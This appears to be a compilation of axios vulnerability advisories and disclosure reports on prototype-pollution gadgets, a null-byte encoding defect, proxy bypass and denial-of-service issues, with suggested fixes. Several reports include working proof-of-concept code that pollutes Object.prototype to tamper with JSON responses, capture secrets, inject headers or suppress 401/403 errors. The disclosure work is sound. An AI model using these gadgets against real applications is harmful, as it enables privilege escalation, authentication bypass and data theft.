Separately, mergeConfig reads config2[prop] at line 102 without a hasOwnProperty guard. For keys like transformRequest and transformResponse that are present in defaults (and therefore processed by the mergeMap loop), if Object.prototype.transformRequest is polluted before the request, config2["transformRequest"] inherits the polluted value and defaultToConfig2 replaces the safe default transforms with the attacker's function.

This one requires a discriminator because assertOptions in Axios.request (line 119) reads schema[opt] for every key in the merged config's own keys, and schema["transformRequest"] also inherits from Object.prototype, causing it to call the polluted value as a validator. The gadget function needs to return true when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the transformData call).

Both transformRequest (fires with request body) and transformResponse (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6.

---

Why the existing fix does not cover these

PR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing {"proto": {"x": 1}} as the config object, which caused mergeMap['proto'] to resolve to Object.prototype (a non-function), crashing axios. The fix added an explicit block on proto, constructor, and prototype as config keys, and changed mergeMap[prop] to utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ....

That fix only addresses config keys that are explicitly set to proto (or similar) by the caller. It does not add hasOwnProperty guards on the value reads (config2[prop] at line 102, this.parseReviver, config.transport). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.

---

Suggested fixes

For parseReviver (lib/defaults/index.js#L124): js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver);

For mergeConfig value reads (lib/core/mergeConfig.js#L102): js const configValue = merge( config1[prop], utils.hasOwnProp(config2, prop) ? config2[prop] : undefined, prop );

For transport and other adapter reads from config (lib/adapters/http.js#L676): js if (utils.hasOwnProp(config, 'transport') && config.transport) { transport = config.transport; }

The same hasOwnProp pattern applies to lookup, httpVersion, http2Options, family, and formSerializer reads in the adapter.

---

Environment

- axios: 1.13.6 - Node.js: 22.22.0 - OS: macOS 14 - Reproduction: confirmed in isolated test harness, both gadgets independently verified

Disclosure

Reported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.

axios versions from 0.28.0 before 0.33.0 and from 1.0.0 before 1.18.0 contain uncontrolled recursion in formDataToJSON (exposed as axios.formToJSON() and used internally when serializing FormData with Content-Type: application/json). When an application passes attacker-controlled FormData field names, a field name with thousands of nested bracket-delimited segments causes unbounded recursion in buildPath(), exhausting the JavaScript call stack (RangeError: Maximum call stack size exceeded) and causing denial of service for that request, or process termination in applications without appropriate error handling.

axios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON when processing FormData field names with deeply nested bracket segments. Attackers can supply FormData with field names containing thousands of nested brackets to exhaust the JavaScript call stack and trigger RangeError, causing request failure or process termination in applications that do not handle the exception.

axios versions >=1.15.2 and <1.18.0 contain prototype-pollution read-side gadgets in Basic auth subfield handling (lib/adapters/http.js and lib/helpers/resolveConfig.js). When an application is already affected by a separate prototype-pollution primitive and makes an axios request with an own auth object that omits the username and/or password properties, axios reads the inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound 'Authorization: Basic ...' header. axios itself does not pollute prototypes. The practical impact is outbound request tampering: an attacker who controls the polluted prototype values can inject attacker-chosen Basic auth credentials or replace an existing Authorization header. Credential disclosure is only possible under additional application-specific conditions.

axios versions 0.31.0 before 0.33.0 and 1.15.0 before 1.18.0 fail to recognize 0.0.0.0 as a loopback address in shouldBypassProxy.js, allowing requests to 0.0.0.0 to bypass NOPROXY rules. Attackers can supply 0.0.0.0 URLs to route requests through configured proxies, potentially exposing local services when the proxy can reach the destination.

axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.

axios versions 1.7.0 before 1.18.0 fail to enforce maxBodyLength for WHATWG ReadableStream request bodies in the fetch adapter when Content-Length cannot be determined. Attackers can supply unknown-length stream data to bypass upload size limits and cause uncontrolled network egress or resource exhaustion.

axios versions >=1.13.0 (Node.js HTTP adapter) fail to enforce the configured maxBodyLength limit on streamed request bodies when requests are sent with httpVersion: 2. Because Node's HTTP/2 request API does not honor the maxBodyLength option and axios's byte-counting stream wrapper is gated on maxRedirects === 0, an attacker who controls a stream passed to axios can cause the application to transmit outbound data exceeding the configured finite maxBodyLength. Impact is limited to resource consumption and policy bypass (excess egress, upstream quota consumption, limited availability); it does not enable code execution, credential disclosure, or request-destination control. Calls using the default maxBodyLength: -1 and browser adapters are not affected.

axios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.

axios in a Node.js deployment using the HTTP adapter can route requests through an attacker-controlled proxy. axios hardens merged request configuration by creating a null-prototype object, but request interceptors run after the merge; a common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a regular object. axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain. If an attacker can pollute Object.prototype.proxy, affected requests can be routed through an attacker-controlled proxy. For plaintext HTTP requests, the proxy can observe Authorization headers, Basic auth from config.auth, method, absolute URL, Host, and request body, and can return its own response. This does not establish browser impact or HTTPS header/body disclosure under normal TLS validation. Affected versions are >=0.31.1 (fixed in 0.33.0) and >=1.15.2 (fixed in 1.18.0).

axios versions 0.31.1 before 0.33.0 and 1.15.1 before 1.18.0 contain an incomplete depth-limit bypass in toFormData.js when serializing objects with top-level keys ending in '{}'. Attackers who control object keys and nested values passed to axios form or parameter serialization can trigger a RangeError from JSON.stringify, causing denial of service in the affected request path.

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because: 1. No constraints — the reviver can return any value (no "must return true" requirement) 2. Selective modification — individual JSON keys can be changed while others remain untouched 3. Invisible — the response structure and most values look completely normal 4. Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE

- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Within the application process | | Confidentiality | High | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured | | Integrity | High | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values | | Availability | None | No crash, no error — the attack is entirely silent |

Comparison with All Known Axios PP Gadgets

| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | parseReviver (This) | |---|---|---|---|---| | PP target | Object.prototype['header'] | Object.prototype.transformResponse | Object.prototype.proxy | Object.prototype.parseReviver | | Fixed by 1.15.0? | Yes | No | No | No | | Constraints | N/A (fixed) | Must return true | None | None | | Data modification | Header injection only | Response replaced with true | Full MITM | Selective per-key modification | | Stealth | Request anomaly visible | Response becomes true (obvious) | Proxy visible in network | Completely invisible | | Data access | Headers only | this.auth + raw response | All traffic | Every JSON key-value pair | | Validated? | N/A | assertOptions validates | Not validated | Not validated | | In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | No → bypasses mergeConfig |

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis

The Attack Path

Object.prototype.parseReviver = function(key, value) { / malicious / } │ ▼ mergeConfig(defaults, userConfig) │ │ parseReviver NOT in defaults → NOT iterated by mergeConfig │ parseReviver NOT in userConfig → NOT iterated by mergeConfig │ Merged config has NO own parseReviver property │ ▼ transformData.call(config, config.transformResponse, response) │ │ Default transformResponse function runs (NOT overridden) │ ▼ defaults/index.js:124: JSON.parse(data, this.parseReviver) │ │ this = config (merged config object, plain {}) │ config.parseReviver → NOT own property → traverses prototype chain │ → finds Object.prototype.parseReviver → attacker's function! │ ▼ JSON.parse calls reviver for EVERY key-value pair │ │ Attacker can: read original value, modify it, return anything │ No validation, no constraints, no assertOptions check │ ▼ Application receives surgically modified JSON response

Why parseReviver Bypasses ALL Existing Protections

1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.

2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.

3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.

4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File: lib/defaults/index.js, line 124

javascript transformResponse: [ function transformResponse(data) { // ... transitional checks ... if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) { // ... try { return JSON.parse(data, this.parseReviver); // ^^^^^^^^^^^^^^^^^ // this = config // config.parseReviver → prototype chain → attacker's function } catch (e) { // ... } } return data; }, ],

Proof of Concept

javascript import http from 'http'; import axios from './index.js';

// Server returns a realistic authorization response const server = http.createServer((req, res) => { res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ user: 'john', role: 'viewer', isAdmin: false, canDelete: false, balance: 100, permissions: ['read'], apiKey: 'sk-secret-internal-key', })); }); await new Promise(r => server.listen(0, r)); const port = server.address().port;

// === Before Pollution === const before = await axios.get(http://127.0.0.1:${port}/api/me); console.log('Before:', JSON.stringify(before.data)); // {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}

// === Simulate Prototype Pollution === let stolen = {}; Object.prototype.parseReviver = function(key, value) { // Silently capture all original values if (key && typeof value !== 'object') stolen[key] = value; // Surgically modify specific values if (key === 'isAdmin') return true; // false → true if (key === 'role') return 'admin'; // viewer → admin if (key === 'canDelete') return true; // false → true if (key === 'balance') return 999999; // 100 → 999999 return value; // everything else unchanged };

// === After Pollution — same code, same URL === const after = await axios.get(http://127.0.0.1:${port}/api/me); console.log('After: ', JSON.stringify(after.data)); // {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}

console.log('Stolen:', JSON.stringify(stolen)); // {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}

delete Object.prototype.parseReviver; server.close();

Verified PoC Output

[1] Normal request (before pollution): response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"} isAdmin: false role: viewer

[2] Prototype Pollution: Object.prototype.parseReviver Polluted with selective value modifier

[3] Same request (after pollution): response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true, "balance":999999,"permissions":["read","write","delete","admin"], "apiKey":"sk-secret-internal-key"} isAdmin: true (was: false) role: admin (was: viewer) canDelete: true (was: false) balance: 999999 (was: 100)

[4] Exfiltrated data (stolen silently): apiKey: sk-secret-internal-key All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"apiKey":"sk-secret-internal-key"}

[5] Why this bypasses all checks: parseReviver in defaults? NO parseReviver in assertOptions schema? NO parseReviver validated anywhere? NO Must return true? NO — can return ANY value Replaces entire transform? NO — works INSIDE default JSON.parse

Impact Analysis

1. Authorization / Privilege Escalation

javascript // Server returns: {"role":"viewer","isAdmin":false} // Application sees: {"role":"admin","isAdmin":true} // → Application grants admin access to unprivileged user

2. Financial Manipulation

javascript // Server returns: {"balance":100,"approved":false} // Application sees: {"balance":999999,"approved":true} // → Application approves a transaction that should be rejected

3. Security Control Bypass

javascript // Server returns: {"mfaRequired":true,"accountLocked":true} // Application sees: {"mfaRequired":false,"accountLocked":false} // → Application skips MFA and unlocks a locked account

4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

5. Universal and Invisible

- Affects every Axios request that receives a JSON response - The response structure is intact — only specific values are changed - No errors, no crashes, no suspicious behavior - Application logs show normal-looking API responses with tampered values

Recommended Fix

Fix 1: Use hasOwnProperty check before using parseReviver

javascript // FIXED: lib/defaults/index.js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver);

Fix 2: Use null-prototype config object

javascript // In lib/core/mergeConfig.js const config = Object.create(null);

Fix 3: Validate parseReviver type and source

javascript // FIXED: lib/defaults/index.js const reviver = (typeof this.parseReviver === 'function' && Object.prototype.hasOwnProperty.call(this, 'parseReviver')) ? this.parseReviver : undefined; return JSON.parse(data, reviver);

Relationship to Other Reported Gadgets

This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

| Report | PP Target | Code Location | Fix Location | Impact | |---|---|---|---|---| | axios26 | transformResponse | mergeConfig.js:49 (defaultToConfig2) | mergeConfig.js | Credential theft, response replaced with true | | axios30 | proxy | http.js:670 (direct property access) | http.js | Full MITM, traffic interception | | axios31 (this) | parseReviver | defaults/index.js:124 (this.parseReviver) | defaults/index.js | Selective JSON value tampering + data exfiltration |

Why These Are Distinct Vulnerabilities

1. Different polluted properties: Each targets a different Object.prototype key. 2. Different code paths: transformResponse enters via mergeConfig; proxy is read directly by http.js; parseReviver is read inside the default transformResponse function's JSON.parse call. 3. Different fix locations: Fixing mergeConfig.js (axios26) does NOT fix defaults/index.js:124 (this vulnerability). Fixing http.js:670 (axios30) does NOT fix this either. Each requires a separate patch. 4. Different impact profiles: transformResponse is constrained to return true; proxy requires a proxy server; parseReviver enables constraint-free selective value modification.

Comprehensive Fix

While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.

Resources

- CWE-1321: Prototype Pollution - CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) - MDN: JSON.parse reviver - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — selective response tampering confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.

The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.

Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js

CWE

- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-287: Improper Authentication

CVSS 3.1

Score: 8.2 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely | | Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact within the application | | Confidentiality | Low | 401 treated as success may expose data behind auth gates | | Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions | | Availability | None | The function works correctly (returns true), no crash |

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.

Why validateStatus Is Uniquely Vulnerable

All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:

javascript // mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus) function mergeDirectKeys(a, b, prop) { if (prop in config2) { // ← in traverses prototype chain! return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } }

// mergeConfig.js:94 const mergeMap = { // ... all others use defaultToConfig2 ... validateStatus: mergeDirectKeys, // ← ONLY property using this strategy };

The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.

Proof of Concept

1. The Setup (Simulated Pollution)

javascript Object.prototype.validateStatus = () => true;

2. The Gadget Trigger (Safe Code)

javascript // Application checks authentication via HTTP status codes try { const response = await axios.get('https://api.internal/admin/users'); // Developer expects: 401 → catch block → redirect to login // Reality: 401 → treated as success → displays admin data processAdminData(response.data); // Executes with 401 response body! } catch (error) { redirectToLogin(); // NEVER REACHED for 401/403/500 }

3. The Execution

javascript // mergeConfig.js:58 — 'validateStatus' in config2 // config2 = { url: '/admin/users', method: 'get' } // 'validateStatus' in config2 → checks prototype → finds () => true → TRUE // → getMergedValue(defaultValidator, () => true) → returns () => true

// settle.js:16 — ALL status codes resolve const validateStatus = response.config.validateStatus; // () => true if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); // 401, 403, 500 all resolve here! }

4. The Impact

Before pollution: HTTP 200 → resolve (success) HTTP 401 → reject (auth error) → redirectToLogin() HTTP 403 → reject (forbidden) → showAccessDenied() HTTP 500 → reject (server error) → showErrorPage()

After pollution: HTTP 200 → resolve (success) HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body HTTP 403 → resolve (SUCCESS!) → application thinks user has access HTTP 500 → resolve (SUCCESS!) → application processes error as data

Verified PoC Output

--- Before Pollution --- 401: REJECTED as expected - Request failed with status code 401 500: REJECTED as expected - Request failed with status code 500

--- After Pollution --- 200: RESOLVED as success (status: 200) 301: RESOLVED as success (status: 301) 401: RESOLVED as success (status: 401) 403: RESOLVED as success (status: 403) 404: RESOLVED as success (status: 404) 500: RESOLVED as success (status: 500) 503: RESOLVED as success (status: 503)

--- Authentication Bypass Demo --- Auth check bypassed! 401 treated as success. Application proceeds with: { status: 401, message: 'Response with status 401' }

Impact Analysis

- Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources. - Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors. - Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed. - Universal Scope: Affects every axios instance in the application, including third-party libraries.

Recommended Fix

Replace the in operator with hasOwnProperty in mergeDirectKeys:

javascript // FIXED: lib/core/mergeConfig.js function mergeDirectKeys(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop)) { return getMergedValue(a, b); } else if (Object.prototype.hasOwnProperty.call(config1, prop)) { return getMergedValue(undefined, a); } }

Resources

- CWE-1321: Prototype Pollution - CWE-287: Improper Authentication - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios - MDN: in operator - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | PoC developed and vulnerability confirmed | | 2026-04-16 | Report revised for accuracy | | TBD | Report submitted to vendor via GitHub Security Advisory |

Axios is a promise based HTTP client for the browser and Node.js. Axios versions before 0.32.0 on the 0.x line and before 1.16.0 on the 1.x line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads document.cookie. The practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read document.cookie. This vulnerability is fixed in 0.32.0 and 1.16.0.

Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios. The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

Details

The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:

javascript // lib/adapters/http.js } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) { headers.set(data.getHeaders()); // ... }

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

1. utils.isFormData(data) — lib/utils.js javascript const isFormData = (thing) => { let kind; return thing && ( (typeof FormData === 'function' && thing instanceof FormData) || ( isFunction(thing.append) && ( (kind = kindOf(thing)) === 'formdata' || (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]') ) ) ) }

2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package javascript // Returns true if Object.prototype.getHeaders is a function utils.isFunction(data.getHeaders)

PoC

javascript // Simulate Prototype Pollution Object.prototype[Symbol.toStringTag] = 'FormData'; Object.prototype.append = () => {}; Object.prototype.getHeaders = () => { const headers = Object.create(null); (.... Introduce here all the headers you want ....) return headers; }; Object.prototype.pipe = function(d) { if(d&&d.end)d.end(); return d; }; Object.prototype.on = function() { return this; }; Object.prototype.once = function() { return this; };

// Legitimate application code const response = await axios.post('https://internal-api.company.com/admin/delete', { userId: 42 }, { headers: { 'Authorization': 'Bearer VALIDUSERTOKEN' } } );

Impact

- Authentication Bypass (CVSS: C:H) - Session Fixation (CVSS: I:H) - Privilege Escalation (CVSS: C:H, I:H) - IP Spoofing / WAF Bypass (CVSS: I:H)

Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

Recommended Fix

Add an explicit own-property check in lib/adapters/http.js:

diff - } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) { - headers.set(data.getHeaders()); + } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) && + Object.prototype.hasOwnProperty.call(data, 'getHeaders')) { + headers.set(data.getHeaders());

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7) Affected Versions: All versions containing this charMap entry Vulnerable Component: lib/helpers/AxiosURLSearchParams.js:21

CWE

- CWE-626: Null Byte Interaction Error (Poison Null Byte) - CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | Attacker controls input parameters remotely | | Attack Complexity | High | Standard axios request flow (buildURL) uses its own encode function which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact limited to HTTP request URL | | Confidentiality | None | No confidentiality impact | | Integrity | Low | Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser | | Availability | None | No availability impact |

Vulnerable Code

File: lib/helpers/AxiosURLSearchParams.js, lines 13-26

javascript function encode(str) { const charMap = { '!': '%21', // literal → encoded (SAFE direction) "'": '%27', // literal → encoded (SAFE direction) '(': '%28', // literal → encoded (SAFE direction) ')': '%29', // literal → encoded (SAFE direction) '~': '%7E', // literal → encoded (SAFE direction) '%20': '+', // standard transformation (SAFE) '%00': '\x00', // LINE 21: encoded → raw null byte (UNSAFE direction!) }; return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) { return charMap[match]; }); }

Why the Standard Flow Is NOT Affected

javascript // buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's const encode = (options && options.encode) || encode; // buildURL's encode

// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams new AxiosURLSearchParams(params, options).toString(encode); // external encoder used

// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used const encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode; // ^^^^^^ // internal encode passed as 2nd arg but only used if // the external encoder explicitly delegates to it

Proof of Concept

javascript import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js'; import buildURL from './lib/helpers/buildURL.js';

// Test 1: Direct AxiosURLSearchParams (VULNERABLE path) const params = new AxiosURLSearchParams({ file: 'test\x00.txt' }); const result = params.toString(); // NO encoder → uses internal encode with charMap console.log('Direct toString():', JSON.stringify(result)); // Output: "file=test\u0000.txt" (contains raw null byte) console.log('Hex:', Buffer.from(result).toString('hex')); // Output: 66696c653d74657374002e747874 (00 = null byte)

// Test 2: Via buildURL (NOT vulnerable — standard axios flow) const url = buildURL('http://example.com/api', { file: 'test\x00.txt' }); console.log('Via buildURL:', url); // Output: http://example.com/api?file=test%00.txt (%00 preserved safely)

Verified PoC Output

Direct toString(): "file=test\u0000.txt" Contains raw null byte: true Hex: 66696c653d74657374002e747874

Via buildURL: http://example.com/api?file=test%00.txt Contains raw null byte: false Contains safe %00: true

Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

- Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected - Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug - Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

javascript function encode(str) { const charMap = { '!': '%21', "'": '%27', '(': '%28', ')': '%29', '~': '%7E', '%20': '+', // REMOVED: '%00': '\x00' }; return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) { // ^^^^ removed |%00 return charMap[match]; }); }

Resources

- CWE-626: Null Byte Interaction Error - CWE-116: Improper Encoding or Escaping of Output - OWASP: Embedding Null Code - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: documented standard-flow limitation, corrected CVSS | | TBD | Report submitted to vendor via GitHub Security Advisory |

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for noproxy hostname normalization bypass is incomplete. When noproxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. This vulnerability is fixed in 1.15.1 and 0.31.1.

Summary

